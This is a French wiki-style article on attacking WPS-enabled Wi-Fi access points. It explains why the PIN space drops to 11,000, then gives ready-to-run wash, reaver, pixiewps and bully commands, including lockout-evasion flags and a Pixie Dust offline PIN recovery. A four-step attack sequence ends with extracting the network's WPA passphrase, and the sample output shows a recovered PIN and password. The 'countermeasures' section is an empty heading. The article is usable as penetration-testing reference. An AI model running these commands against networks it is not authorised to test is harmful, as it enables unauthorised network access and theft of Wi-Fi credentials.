Garden of KnowledgeApplied Sciences › Computer Science › Software › Security › Networking › Network Security › WiFi
May 17, 2026

Attaques WPS

WPS (Wi-Fi Protected Setup, 2006) permet d’associer un client par PIN à 8 chiffres ou par bouton (PBC). Le protocole est structurellement vulnérable : le PIN est validé en deux moitiés, ce qui réduit l’espace de recherche de 10^8 à 11 000 combinaisons (10 000 + 1 000 - checksum).

PIN — pourquoi 11 000 seulement§

PIN = D1 D2 D3 D4 D5 D6 D7 C
       \-- 4 digits --/  \-- 3 + checksum --/

Étape 1 : tester D1..D4    → 10 000 essais max
Étape 2 : tester D5..D7    → 1 000 essais max
                            (C calculé par formule fixe)

Total : 11 000 essais → ~quelques heures à 1 essai/seconde

Identifier les APs avec WPS activé§

# Wash — scan dédié WPS
wash -i wlan0mon

# Colonnes :
# BSSID  Ch  dBm  WPS  Lck  Vendor  ESSID
# AA:..  6   -45  2.0  No   Realtek MaisonBox
# Lck = Locked → si "Yes", l'AP bloque les tentatives (rate-limit)

Lck: No = brute-force possible. Lck: Yes = essayer Pixie Dust ou attendre.

Reaver — brute-force du PIN§

# Attaque standard
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -v
# -v / -vv / -vvv pour le niveau de verbosité

# Avec délai entre tentatives (anti-lockout)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -v -d 5
# -d = délai (secondes) entre essais

# Forcer un canal fixe
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -v

# Reprendre une session (Reaver sauvegarde dans /etc/reaver/)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -s session.wpc

# Si l'AP locke après N tentatives → option pour gérer
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -L -v
# -L = ignore les notifications "locked", continue

# Tester un PIN précis (ex : récupéré ailleurs)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p 12345670 -v

Sortie réussie :

[+] WPS PIN: '12345670'
[+] WPA PSK: 'MonMotDePasse123'
[+] AP SSID: 'MaisonBox'

Le PIN sert ensuite à récupérer directement la PSK (le client négocie la WPA-PSK via WPS).

Pixie Dust Attack — exploitation des nonces§

Sur de nombreux chipsets (Ralink, Realtek, Broadcom anciens), les nonces utilisés dans l’échange WPS sont prédictibles (RNG faible ou null). Cela permet de calculer le PIN hors ligne en quelques secondes, sans 11 000 tentatives.

# Reaver mode Pixie Dust
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -v
# -K 1 = mode Pixie Dust

# Capture les valeurs E-S1, E-S2, E-Hash1, E-Hash2 (un seul échange WPS)
# Puis appelle pixiewps en interne

# Manuellement avec pixiewps (depuis une capture)
pixiewps -e <PKE> -r <PKR> -s <E-Hash1> -z <E-Hash2> \
         -a <AuthKey> -n <E-Nonce>

Sortie : [+] WPS pin: 12345670 → puis re-injecter dans reaver pour récupérer la PSK :

reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p 12345670 -v

Chipsets historiquement vulnérables :

Bully — alternative à reaver§

Implémentation indépendante, parfois plus stable sur certains chipsets.

# Brute-force standard
bully wlan0mon -b AA:BB:CC:DD:EE:FF -d -v 3
# -d = mode "dirty" (envoie sans confirmation EAP)
# -v 3 = verbosité

# Pixie Dust avec bully
bully wlan0mon -b AA:BB:CC:DD:EE:FF -d --pixiewps -v 3

# Forcer un canal
bully wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -v 3

Stratégie d’attaque WPS§

1. wash -i wlan0mon          # repérer APs avec WPS, vérifier Lck
2. reaver -K 1 -b BSSID      # tenter Pixie Dust en premier (rapide)
   → succès ? → étape 4
   → échec ?  → étape 3
3. reaver -b BSSID -d 5      # brute-force standard avec délai
4. reaver -p PIN_TROUVÉ      # extraire la PSK

Contre-mesures côté défense§

Voir aussi§

—The Gardener